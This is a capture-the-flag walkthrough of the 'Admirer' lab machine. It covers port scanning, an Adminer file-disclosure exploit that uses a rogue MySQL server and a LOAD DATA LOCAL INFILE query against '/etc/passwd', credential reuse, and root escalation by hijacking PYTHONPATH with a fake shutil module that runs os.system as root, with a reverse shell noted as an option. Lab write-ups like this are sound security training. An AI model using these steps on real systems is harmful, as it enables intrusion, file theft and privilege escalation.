User Flag
I ran the usual masscan followed by nmap. Masscan revelaed ports 21,22 and 80, which are ftp,ssh and web server respectively. Using this output scan these ports on nmap.
Firstly I checked anonymous login on ssh, it wasn’t permitted.
What struck out more was the robots.txt had one disallowed entry.
They were just images, my instinct said it had something to do with image upload as a backdoor. I began to explore the robots.txt file.
I got a admin-dir/ directory. The directory wasn’t accessible but I used I decided to brute-force it with dirbuster.
I got ftp credentials.
There were two files an sql dump and a compressed version of the website. The dump didn’t reveal any sensitive data. I didn’t really find anything that could escalate to a foothold. There was one particular file that did raise some eyebrows.
There was another directory called utility-scripts in the tar file. I was able to find all the webpages on the live admirer website. Except for one. db_admin.php.
This comment first seemed innocuous but then I searched for alternatives that could be used.
// TODO: Finish implementing this or find a better open source alternative
As I looked through alternatives one in particular stood out. It was called adminer. The name of the box matched up too well for it not to be this. I went to the github page for adminer.
https://github.com/vrana/adminer
I tried http://10.10.10.187/utility-scripts/adminer.php.
As I had a copy of the website I went through it again. From the index.php to the dB_admin.php page there was a multitude of credentials I could try. Much to my dismay none of them really worked. Its important to note that that on this screen itself the version number was displayed a google search revealed it was not the latest version. There would probably be an exploit for that version.
https://www.acunetix.com/vulnerabilities/web/adminer-4-6-2-file-disclosure-vulnerability/
There was a file disclosure vulnerability. The following link shows how to exploit it.
https://medium.com/bugbountywriteup/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f/
The tldr for it is: Set up a mysql server on your machine. The login page /adminer.php can be used to connect to the mysql server that you set up on your machine(your ip and credentials over localhost and standard credentials). Then you can use the following code to get the contents of the file on the victims server.
LOAD DATA LOCAL INFILE '/etc/passwd'
INTO TABLE test.test
FIELDS TERMINATED BY "\n"
Now you can do it manually but there is a python script that does exactly this, set up the server and store the pre defined file in a separate file.
https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
The /etc/passwd file is inaccessible but the index.php file can be accessed ‘/var/www/html/index.php’. Just log in with your ip and you can get the file stored in the mysql.log file in the same directory as the python file. Okay so we get a set of valid credentials from the the index.php file that we were able to get.
If you test the credentials ‘waldo’ with the password and the database as found in the index.php it successfully logs in. Now for the foothold you can try to check if there was password reuse.
Yes there is, same credentials in ssh gives us the user flag.
Root flag
Running through usual privilege escalation checks I got something interesting using,
sudo -l
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
listpw=always
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
The file in question is the following.
cat /opt/scripts/admin_tasks.sh
#!/bin/bash
view_uptime()
{
/usr/bin/uptime -p
}
view_users()
{
/usr/bin/w
}
view_crontab()
{
/usr/bin/crontab -l
}
backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
1) view_uptime ;;
2) view_users ;;
3) view_crontab ;;
4) backup_passwd ;;
5) backup_shadow ;;
6) backup_web ;;
7) backup_db ;;
*) echo "Unknown option." >&2
esac
exit 0
fi
# Interactive way, to be called from the command line
options=("View system uptime"
"View logged in users"
"View crontab"
"Backup passwd file"
"Backup shadow file"
"Backup web data"
"Backup DB"
"Quit")
echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
1) view_uptime ; break ;;
2) view_users ; break ;;
3) view_crontab ; break ;;
4) backup_passwd ; break ;;
5) backup_shadow ; break ;;
6) backup_web ; break ;;
7) backup_db ; break ;;
8) echo "Bye!" ; break ;;
*) echo "Unknown option." >&2
esac
done
exit 0
If you look at the permissions of the file its noticeable that the file is run as root and can be run using the sudo command from the waldo user. So we need a way to for this script to run our malicious code. The backup_web() function looks interesting because it calls another file.
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
This is also owned by root and the backup.py cannot be edited as waldo. This is what the file looks like.
cat /opt/scripts/backup.py
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
Now this is interesting as we can overwrite the shutil package and the make_archive() function to run our code. How do we do that?
Linux has “path” variables that allow us to run certain files without having to specify the full path of files. Similarly the python complier has a PYTHONPATH variable that it uses to look for packages when we import them.
Navigating to /tmp I created a shutil.py file with a fake make-archive() function.
cat > shutil.py << EOF
>import os
>def make_archive(x,y,z):
> os.system("cat /root/root.txt > a.txt")
>EOF
You can use nc to set up a reverse shell on your machine I just took the easier way out and just grabbed the root flag.
Now we need to tell the python compiler to look in /tmp before other locations for shutil.
sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh
Choose option 6 to trigger the backup_web() function.
Give it a few moments and voila! You executed that os.system() code as root. It can be either a reverse shell or just cat like what I did.